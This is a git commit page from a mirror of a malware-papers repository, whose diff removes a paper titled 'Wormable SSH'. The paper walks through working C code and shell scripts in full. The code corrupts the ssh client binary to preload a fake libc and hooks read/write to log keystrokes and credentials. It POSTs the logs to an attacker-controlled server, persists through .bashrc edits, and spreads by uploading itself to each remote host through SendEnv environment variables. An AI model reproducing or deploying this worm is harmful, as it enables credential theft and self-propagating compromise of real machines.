mirror of
https://github.com/vxunderground/VXUG-Papers.git
synced 2026-06-17 00:09:29 +00:00
Delete Wormable SSH.txt
This commit is contained in:
@@ -1,426 +0,0 @@
|
|||||||
[Wormable SSH]
|
|
||||||
|
|
||||||
[1. Introduction]
|
|
||||||
|
|
||||||
This text will present a way to turn ssh client in a very simple worm,
|
|
||||||
which will install itself in remote targets when someone use the corrupted
|
|
||||||
client and authenticates in some remote machine, the main idea of this text
|
|
||||||
is to present a new idea to make the client replicate its behavior in the
|
|
||||||
client of remote machine.
|
|
||||||
|
|
||||||
[2. Corrupting ssh client]
|
|
||||||
|
|
||||||
To take over the control of ssh client, it will be used a know and very abused
|
|
||||||
ELF corruption technique, its well described at phrack 61-8[0], regard of being
|
|
||||||
and old technique it still working and most of binaries found still dont
|
|
||||||
explying any protection against this simple technique, at phrack paper, they
|
|
||||||
give an implementation of this simple corruption using his framework called
|
|
||||||
Ceberus Interface, which is capable of doing much more. But will we stick with
|
|
||||||
this one and use a standalone simple implementation which will be released
|
|
||||||
togheter with this text.
|
|
||||||
|
|
||||||
I recommend all readers to take a look on phrack issue mentioned before, but
|
|
||||||
for a quick description of the technique, the next will be enough to understand
|
|
||||||
what will be happening.
|
|
||||||
|
|
||||||
ELF dynamic linked programs have a PT_DYNAMIC segment which carry the dynamic
|
|
||||||
section, which have an array of entries related to dynamic linking and other
|
|
||||||
useful information, because is not the goal of paper to explain about ELF
|
|
||||||
details, we just need to know the standard behavior of most compiler will emit
|
|
||||||
a DT_DEBUG entry in dyanamic section, even it never being used or aksed to.
|
|
||||||
|
|
||||||
The list of libraries some programs need to is listed in entries of type
|
|
||||||
DT_NEEDED, and as we have a useless entry with type DT_DEBUG it is possible to
|
|
||||||
convert the DT_DEBUG entry in a DT_NEEDED entrie, which will make some library
|
|
||||||
of our choice to be needed to load when the program intend to run, the only
|
|
||||||
problem is we should make the DT_NEEDED entry point to a string with the name
|
|
||||||
of the library we want. In the phrack paper itself they show a overcome to
|
|
||||||
this limitation. We can just make it point to a substring of a real used
|
|
||||||
library, so if it used "libc.so" we can reuse the string and make our entry
|
|
||||||
porint to "c.so".
|
|
||||||
|
|
||||||
As an short examploe of the technique i show this short snippets
|
|
||||||
|
|
||||||
// Its used to locate the dynamic section and retrive his size and number of
|
|
||||||
// entries
|
|
||||||
|
|
||||||
for (int i = 0; i < ehdr->e_phnum; i++)
|
|
||||||
{
|
|
||||||
if (phdr[i].p_type == PT_DYNAMIC)
|
|
||||||
{
|
|
||||||
dyn_base = (Elf64_Dyn *)&elf_buff[phdr[i].p_offset];
|
|
||||||
seg_size = phdr[i].p_filesz;
|
|
||||||
n_entries = phdr[i].p_filesz / sizeof(Elf64_Dyn);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// This part is just to found the dynamic string table where we will catch some
|
|
||||||
// string of library name and reuse it
|
|
||||||
|
|
||||||
for (int i = 0; i < ehdr->e_shnum; i++)
|
|
||||||
{
|
|
||||||
if (!strcmp(&string_table[shdr[i].sh_name], ".dynstr"))
|
|
||||||
{
|
|
||||||
dynstr_base = (char *)&elf_buff[shdr[i].sh_offset];
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Here we seek for the DT_DEBUG and DT_NEEDED entries, where target_lib is the
|
|
||||||
// string which represent the real library we want to reuse
|
|
||||||
|
|
||||||
for (int i = 0; i < n_entries; i++)
|
|
||||||
{
|
|
||||||
if (dyn_base[i].d_tag == DT_NEEDED &&
|
|
||||||
!strcmp(&dynstr_base[dyn_base[i].d_un.d_val], target_lib))
|
|
||||||
dt_needed_index = i;
|
|
||||||
|
|
||||||
if (dyn_base[i].d_tag == DT_DEBUG)
|
|
||||||
dt_debug_index = i;
|
|
||||||
}
|
|
||||||
|
|
||||||
// And here the job is done, the DT_DEBUG is converted in a DT_NEEDED entrie
|
|
||||||
// and it will be swapped if needed to be loaded before the real library
|
|
||||||
|
|
||||||
dyn_base[dt_debug_index].d_tag = DT_NEEDED;
|
|
||||||
|
|
||||||
if (dt_debug_index > dt_needed_index) {
|
|
||||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val;
|
|
||||||
dyn_base[dt_needed_index].d_un.d_val = dyn_base[dt_debug_index].d_un.d_val+3;
|
|
||||||
} else
|
|
||||||
dyn_base[dt_debug_index].d_un.d_val = dyn_base[dt_needed_index].d_un.d_val+3;
|
|
||||||
|
|
||||||
The full code will be linked later to reference, but the main parts of using
|
|
||||||
the described technique are presented, all of those snippets are applied to
|
|
||||||
memory mapped ssh client binary and then saved to a copy which will be used
|
|
||||||
in the place of the original one.
|
|
||||||
|
|
||||||
[3. Hooking libc.so]
|
|
||||||
|
|
||||||
So we have an ssh client which will load a library of our choice first than some
|
|
||||||
some library of our choice too, to make the things clear i choosed to use libc.so.6
|
|
||||||
so in my case my fake library will be named "c.so.6" to reuse the original string
|
|
||||||
"libc.so.6", in the approach i will take i will need to know the path of original
|
|
||||||
libc.so used by ssh, because it will be needed to dlopen() libc and make the hooked
|
|
||||||
function to work in a transparent way, to insert the original path in the code
|
|
||||||
the simple command line was used when compiling the fake library:
|
|
||||||
|
|
||||||
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl \
|
|
||||||
-DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
|
|
||||||
|
|
||||||
After this part we just made a copy of c.so.6 and corrupted ssh in a path, can be
|
|
||||||
"$HOME/.bin", so we can set PATH and LD_LIBRARY_PATH to the same directory through
|
|
||||||
the .bashrc of the user we are targeting, if we take a look on our corrupted ssh with
|
|
||||||
ldd utility it will seems like this:
|
|
||||||
|
|
||||||
$ ldd ~/.bin/ssh
|
|
||||||
...
|
|
||||||
c.so.6 => /home/user/.bin/c.so.6 (0x00007f6b38846000)
|
|
||||||
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f6b38655000)
|
|
||||||
...
|
|
||||||
|
|
||||||
So from now on we have the capability of running anything we want when the target
|
|
||||||
tries to use ssh, in this case the first good thing to make is to provide a way
|
|
||||||
to log the issued commands and even creds used by the target, to accomplish this we
|
|
||||||
will be installing a constructor in our library so it will run before the ssh main code
|
|
||||||
itself, our constructor is as follow:
|
|
||||||
|
|
||||||
__attribute__((constructor)) void _initf(int ac, char **av)
|
|
||||||
{
|
|
||||||
handle = dlopen(LIBC_PATH, RTLD_LAZY);
|
|
||||||
real_close = (void *)dlsym(handle, "close");
|
|
||||||
real_write = (void *)dlsym(handle, "write");
|
|
||||||
real_read = (void *)dlsym(handle, "read");
|
|
||||||
log_fd = open("/tmp/.sshlog", O_APPEND | O_CREAT | O_RDWR, S_IRWXU);
|
|
||||||
log_fd = dup2(log_fd, 42);
|
|
||||||
}
|
|
||||||
|
|
||||||
As you can see, nothing to fancy is done, we are just creating a temporary file to log
|
|
||||||
the commands and dupping the file descriptor, because ssh make cleanup on very first fds
|
|
||||||
during his startup code, the other parts is just providing a way to call real
|
|
||||||
function from glibc which will be hooked in our library, all the 3 functions hooked will
|
|
||||||
be listed now.
|
|
||||||
|
|
||||||
The close() function is being hooked just to prevent the file descriptor associaced with
|
|
||||||
out log file to be closed, so any other case we just call the original close() but direct
|
|
||||||
return success in case a try to close our file.
|
|
||||||
|
|
||||||
int close(int fd)
|
|
||||||
{
|
|
||||||
if (fd == log_fd)
|
|
||||||
return 0;
|
|
||||||
return real_close(fd);
|
|
||||||
}
|
|
||||||
|
|
||||||
The most common IO functions read()/write() are begin used to send the input from user
|
|
||||||
and output from ssh to our logfile after doing the real requests using the original
|
|
||||||
function which was saved during the execution of our constructor, theres not much about
|
|
||||||
this logging hooks, these was just a way to test if the hooks will work, a real hook
|
|
||||||
to be used on the wild should format and handle errors in a serious way.
|
|
||||||
|
|
||||||
ssize_t write(int fd, const void *buf, size_t count)
|
|
||||||
{
|
|
||||||
int ret = (real_write(fd, buf, count));
|
|
||||||
syscall(__NR_write, log_fd, "[write]:", 8);
|
|
||||||
for (int i = 0; i < ret; i++)
|
|
||||||
if (isprint(((char *)buf)[i]) || ((char *)buf)[i] == '\n')
|
|
||||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
|
||||||
syscall(__NR_write, log_fd, "\n", 1);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
ssize_t read(int fd, void *buf, size_t count)
|
|
||||||
{
|
|
||||||
int ret = (real_read(fd, buf, count));
|
|
||||||
syscall(__NR_write, log_fd, "[read]:", 7);
|
|
||||||
for (int i = 0; i < ret; i++)
|
|
||||||
if (isprint(((char *)buf)[i]))
|
|
||||||
syscall(__NR_write, log_fd, &((char *)buf)[i], 1);
|
|
||||||
syscall(__NR_write, log_fd, "\n", 1);
|
|
||||||
return ret;
|
|
||||||
}
|
|
||||||
|
|
||||||
Its checked and this method just works to log the input/output from the ssh client
|
|
||||||
to our choosed file, but it will not be useful if all those data just are dropped
|
|
||||||
in the file, because in the worst case we can lost our access to the machine and
|
|
||||||
in this case to the log file too, then its needed to provide a way to send the
|
|
||||||
saved log to another machine.
|
|
||||||
|
|
||||||
[4. POST log]
|
|
||||||
|
|
||||||
As stated in the last topic, keeping the logs local to the target machine will
|
|
||||||
not be to useful, to solve this issue we need to do at least two things, the
|
|
||||||
first one is to provide a way to save the logs in a remote machine, in our case
|
|
||||||
we will be doing this doing an HTTP POST of the logs to our server which will
|
|
||||||
just save the file with some random name, the following code is the help function
|
|
||||||
to do the POST:
|
|
||||||
|
|
||||||
void do_post(void)
|
|
||||||
{
|
|
||||||
host = "10.0.2.2";
|
|
||||||
sock_fd = socket(AF_INET, SOCK_STREAM, 0);
|
|
||||||
addr.sin_family = AF_INET;
|
|
||||||
addr.sin_port = htons(atoi(port));
|
|
||||||
addr.sin_addr.s_addr = inet_addr(host);
|
|
||||||
|
|
||||||
connect(sock_fd, (struct sockaddr *)&addr, sizeof(struct sockaddr));
|
|
||||||
|
|
||||||
size += log_statbuf.st_size;
|
|
||||||
|
|
||||||
sprintf(capsule,
|
|
||||||
"POST http://%s:%s/%s HTTP/1.1\r\n"
|
|
||||||
"Host: %s:%s\r\n"
|
|
||||||
"Accept: */*\r\n"
|
|
||||||
"Content-Type: multipart/form-data; boundary=------------------------4ae6d1de929f9e46\r\n"
|
|
||||||
"Content-Length: %d\r\n"
|
|
||||||
"\r\n"
|
|
||||||
"--------------------------4ae6d1de929f9e46\r\n"
|
|
||||||
"Content-Disposition: form-data; name=\"vxlog\"; filename=\"vxlog.txt\"\r\n"
|
|
||||||
"Content-Type: application/octet-stream\r\n"
|
|
||||||
"\n",
|
|
||||||
host, port, resource, host, port, size);
|
|
||||||
|
|
||||||
real_write(sock_fd, capsule, strlen(capsule));
|
|
||||||
sendfile(sock_fd, log_fd, 0, log_statbuf.st_size);
|
|
||||||
real_write(sock_fd, "\n\n--------------------------4ae6d1de929f9e46--\r\n", 48);
|
|
||||||
close(sock_fd);
|
|
||||||
}
|
|
||||||
|
|
||||||
With the presented function we are now able to dump the log file when needed,
|
|
||||||
through a HTTP POST, which in this implementation send the whole file using
|
|
||||||
the sendfile syscall, regardless this syscall not being the most portable way
|
|
||||||
its easy to just change this code to send the log using another approach. Now
|
|
||||||
we need a way to trigger the the calling do_post() and for this we will use a
|
|
||||||
similar approach to open the log file in the very beginning, but now we will
|
|
||||||
attach this trigger as a destructor function, so when the target is exiting
|
|
||||||
from ssh, we will can close out log file and send back our logs, this is done
|
|
||||||
through the following code:
|
|
||||||
|
|
||||||
__attribute__((destructor)) void _finif(void)
|
|
||||||
{
|
|
||||||
lseek(log_fd, 0, SEEK_SET);
|
|
||||||
fstat(log_fd, &log_statbuf);
|
|
||||||
do_post();
|
|
||||||
syscall(__NR_close, log_fd);
|
|
||||||
unlink("/tmp/.sshlog");
|
|
||||||
}
|
|
||||||
|
|
||||||
Its done, our corrupted ssh client now can log his input/output and send the
|
|
||||||
data to a remote server where it can be keep safe, at least more safe than
|
|
||||||
just saving it local to target machine, so its somekind cool, but whata hell
|
|
||||||
this simple ssh logger having to do with worm? it will come in next topic.
|
|
||||||
|
|
||||||
[5. Local install]
|
|
||||||
|
|
||||||
To compile and install our code to corrupt the ssh and the fake library with
|
|
||||||
our functions to hook libc, i prepared a very simple script, it will not even
|
|
||||||
try to hide the files, the goal here is just to make the corrupted version of
|
|
||||||
ssh client to be used by our target, the script is listed here:
|
|
||||||
|
|
||||||
#!/bin/bash
|
|
||||||
|
|
||||||
cc -s -o dynamicorrupt dynamicorrupt.c
|
|
||||||
cc -s -shared -fPIC c.so.6.c -o c.so.6 -ldl -DLIBC_PATH=$(ldd $(which ssh) | grep libc.so | awk '{print "\""$3"\""}')
|
|
||||||
xxd -plain dynamicorrupt | tr -d \\n > dynamicorrupt.hex
|
|
||||||
xxd -plain c.so.6 | tr -d \\n > c.so.6.hex
|
|
||||||
rm -rf $HOME/.bin
|
|
||||||
mkdir $HOME/.bin/
|
|
||||||
cp *.hex $HOME/.bin/
|
|
||||||
cp $(which ssh) $HOME/.bin/
|
|
||||||
./dynamicorrupt $HOME/.bin/ssh
|
|
||||||
cp c.so.6 $HOME/.bin/
|
|
||||||
echo "export PATH=$HOME/.bin:$PATH" >> $HOME/.bashrc
|
|
||||||
echo "export LD_LIBRARY_PATH=$HOME/.bin/" >> $HOME/.bashrc
|
|
||||||
|
|
||||||
export PATH=$HOME/.bin:$PATH
|
|
||||||
export LD_LIBRARY_PATH=$HOME/.bin/
|
|
||||||
|
|
||||||
Most parts of the script is very clear, dyanmicorrupt is our code to change DT_DEBUG
|
|
||||||
to DT_NEEDED and the c.so.6 is our fake library, after compiling both we are dumping
|
|
||||||
both in hexadecimal notation to dynamicorrupt.hex and c.so.6.hex respectively, those
|
|
||||||
files dont matter for now, after this we are moving making a copy of real ssh client
|
|
||||||
to $HOME/.bin corrupting the copy and storing the fake library c.so.6 in the same
|
|
||||||
directory. And to make the target to run our corrupted copy of ssh, we are adding
|
|
||||||
two lines in his .bashrc setting PATH and LD_LIBRARY_PATH to search on $HOME/.bin too
|
|
||||||
|
|
||||||
After the script run once, our target will be using our version of ssh, but it will
|
|
||||||
just keep the logs and send it back to a remote server as described, so we need to
|
|
||||||
add a way to make it install itself to remote machines too.
|
|
||||||
|
|
||||||
[6. Remote install]
|
|
||||||
|
|
||||||
To make the remote install possible i choosed to combine a well technique which can
|
|
||||||
be called "reexec" and another one specific to ssh context(but maybe usable in others)
|
|
||||||
The reexec technique is exactly what his name says, the program will be re-executed
|
|
||||||
its seem to be not very useful, but it give us some nice primitives to work with,
|
|
||||||
the primitive which i will be using here is not new, but it seems to be not very
|
|
||||||
abused, it is "change args", so we will be re-executing the ssh with different args
|
|
||||||
which enable us to install our code in the remote machine.
|
|
||||||
|
|
||||||
Here i will dump the listing of the code which change the args and later give a brief
|
|
||||||
explanations on the parts which need more attention:
|
|
||||||
|
|
||||||
__attribute__((constructor)) int change_args(int argc, char **argv, char **envp)
|
|
||||||
{
|
|
||||||
int env_size = 0;
|
|
||||||
|
|
||||||
if (getenv("VXCOOL") == NULL)
|
|
||||||
{
|
|
||||||
char **envar = envp;
|
|
||||||
while (*envar++ != NULL)
|
|
||||||
env_size++;
|
|
||||||
|
|
||||||
char **new_envp = malloc(sizeof(char *) * env_size + 3);
|
|
||||||
for (int i = 0; i < env_size; i++)
|
|
||||||
new_envp[i] = strdup(envp[i]);
|
|
||||||
|
|
||||||
new_envp[env_size] = "VXCOOL=true";
|
|
||||||
new_envp[env_size + 1] = dynamicorrupt_envar();
|
|
||||||
new_envp[env_size + 2] = lcso_envar();
|
|
||||||
new_envp[env_size + 3] = NULL;
|
|
||||||
|
|
||||||
char **new_argv = malloc(sizeof(char *) * (argc + 4));
|
|
||||||
for (int i = 0; i < argc; i++)
|
|
||||||
new_argv[i] = strdup(argv[i]);
|
|
||||||
|
|
||||||
new_argv[argc] = "-t";
|
|
||||||
new_argv[argc + 1] = "-SendEnv";
|
|
||||||
new_argv[argc + 2] =
|
|
||||||
"rm -rf $HOME/.bin;"
|
|
||||||
"mkdir $HOME/.bin/;"
|
|
||||||
"cp $(which ssh) $HOME/.bin/;"
|
|
||||||
"printenv LC_BIN1 > $HOME/.bin/dynamicorrupt.hex;"
|
|
||||||
"cat $HOME/.bin/dynamicorrupt.hex | xxd -plain -revert > $HOME/.bin/dynamicorrupt;"
|
|
||||||
"chmod +x $HOME/.bin/dynamicorrupt;"
|
|
||||||
"$HOME/.bin/dynamicorrupt $HOME/.bin/ssh;"
|
|
||||||
|
|
||||||
"printenv LC_BIN2 > $HOME/.bin/c.so.6.hex;"
|
|
||||||
"cat $HOME/.bin/c.so.6.hex | xxd -plain -revert > $HOME/.bin/c.so.6;"
|
|
||||||
"chmod +x $HOME/.bin/c.so.6;"
|
|
||||||
|
|
||||||
"echo \"export PATH=$HOME/.bin:$PATH\" >> $HOME/.bashrc;"
|
|
||||||
"echo \"export LD_LIBRARY_PATH=$HOME/.bin/\" >> $HOME/.bashrc;"
|
|
||||||
|
|
||||||
"export PATH=$HOME/.bin:$PATH;"
|
|
||||||
"export LD_LIBRARY_PATH=$HOME/.bin/;"
|
|
||||||
|
|
||||||
"$SHELL -i;";
|
|
||||||
new_argv[argc + 3] = NULL;
|
|
||||||
execve("/proc/self/exe", new_argv, new_envp);
|
|
||||||
}
|
|
||||||
else
|
|
||||||
unsetenv("VXCOOL");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
As expected this function is defined as a constructor, because it need to
|
|
||||||
run before the original code of ssh, and even before the other parts of our
|
|
||||||
own code, the first question which comes is, if the constructor will reexec
|
|
||||||
the program, how it will stop to doing this infinity times? the answer is
|
|
||||||
a environment variable in this case we are using VXCOOL as a flag, if its
|
|
||||||
no setted we need to change args and reexec, if its set we are done and can
|
|
||||||
let the rest of code runs.
|
|
||||||
|
|
||||||
Now we just need to change the args in a way to let upload our code to the
|
|
||||||
remote machine when target succesfully connect to some machine, and to do
|
|
||||||
this i choosed to upload both, the corruption code and fake library, through
|
|
||||||
environment variables, the way to construct envp and argv is pretty straight
|
|
||||||
but im using a function two function to set the environment variable, i will
|
|
||||||
just one of these because in fact they are the same:
|
|
||||||
|
|
||||||
char *lcso_envar(void)
|
|
||||||
{
|
|
||||||
char *env_lcso = NULL;
|
|
||||||
struct stat stat_dynamicorrupt;
|
|
||||||
int envsz = 0;
|
|
||||||
char path[128];
|
|
||||||
sprintf(path, "%s/.bin/c.so.6.hex", getenv("HOME"));
|
|
||||||
int fd = open(path, O_RDONLY);
|
|
||||||
fstat(fd, &stat_dynamicorrupt);
|
|
||||||
env_lcso = malloc(stat_dynamicorrupt.st_size + strlen("LC_BIN2="));
|
|
||||||
strcpy(env_lcso, "LC_BIN2=");
|
|
||||||
syscall(__NR_read, fd, env_lcso + strlen("LC_BIN2="), stat_dynamicorrupt.st_size);
|
|
||||||
syscall(__NR_close, fd);
|
|
||||||
return env_lcso;
|
|
||||||
}
|
|
||||||
|
|
||||||
This presented listing is used to set the LC_BIN2 enviroment variable with
|
|
||||||
the hex encoded c.so.6 we have prepared before with our "local install" script,
|
|
||||||
the same approach is used to set the LC_BIN1 with hex encoded dynamicorrupt program.
|
|
||||||
At this point we have what we need setted on these env vars, and ssh have a
|
|
||||||
well switched option to use in our context, which is "-SendEnv", which
|
|
||||||
makes ssh turn the current envrioment variable of user running the program
|
|
||||||
avalaible in the remote machine after the connection is done.
|
|
||||||
|
|
||||||
I have used the "-t" option to to allocate pseudo terminal, but it was just
|
|
||||||
for using screen in the remote machine during the tests, i dont prepared any
|
|
||||||
serious code to hide the presence of strange behaviors in ssh after the reexec.
|
|
||||||
As you can see, a hardcoded version of "local install" script is being used as
|
|
||||||
a parameter which will be the command executed when the connection is done,
|
|
||||||
the main difference is at this time the code will be dumped from enviroment
|
|
||||||
variables and converted back from hex encoded format to ELF to be used in the
|
|
||||||
remote machine, and after this the default shell from $SHELL env var will be called
|
|
||||||
in a interactive way as "nothing" happened. after this point the remote machine
|
|
||||||
is infected in the same way the local one. So if the remote user connect to
|
|
||||||
another place the same process will be repeated.. and thats all.
|
|
||||||
|
|
||||||
[Observation]
|
|
||||||
|
|
||||||
This is just a simple PoC, which obviously is not intended to be used in the
|
|
||||||
wild, but can give some nice ideas, on how to use knowed techniques, how to
|
|
||||||
abuse and combine some techniques and a very simple way to make the infected
|
|
||||||
machine to infect other and so on, i think the new thing here is about to use
|
|
||||||
environment variable as a upload channel which can be used to send, scripts
|
|
||||||
or even programs and source-code too, i did the first version of this, make it
|
|
||||||
to upĺoad the "local install" script and compiling it to install remote, but
|
|
||||||
i changed it for the case the compiler are not available.
|
|
||||||
|
|
||||||
In fact it can be improved in # ways, but can be used as a start point to play
|
|
||||||
a bit with the Wonderful Worm World.
|
|
||||||
|
|
||||||
Regards, Anonymous_
|
|
||||||
|
|
||||||
[References]
|
|
||||||
|
|
||||||
[0] http://phrack.org/issues/61/8.html
|
|
||||||
Reference in New Issue
Block a user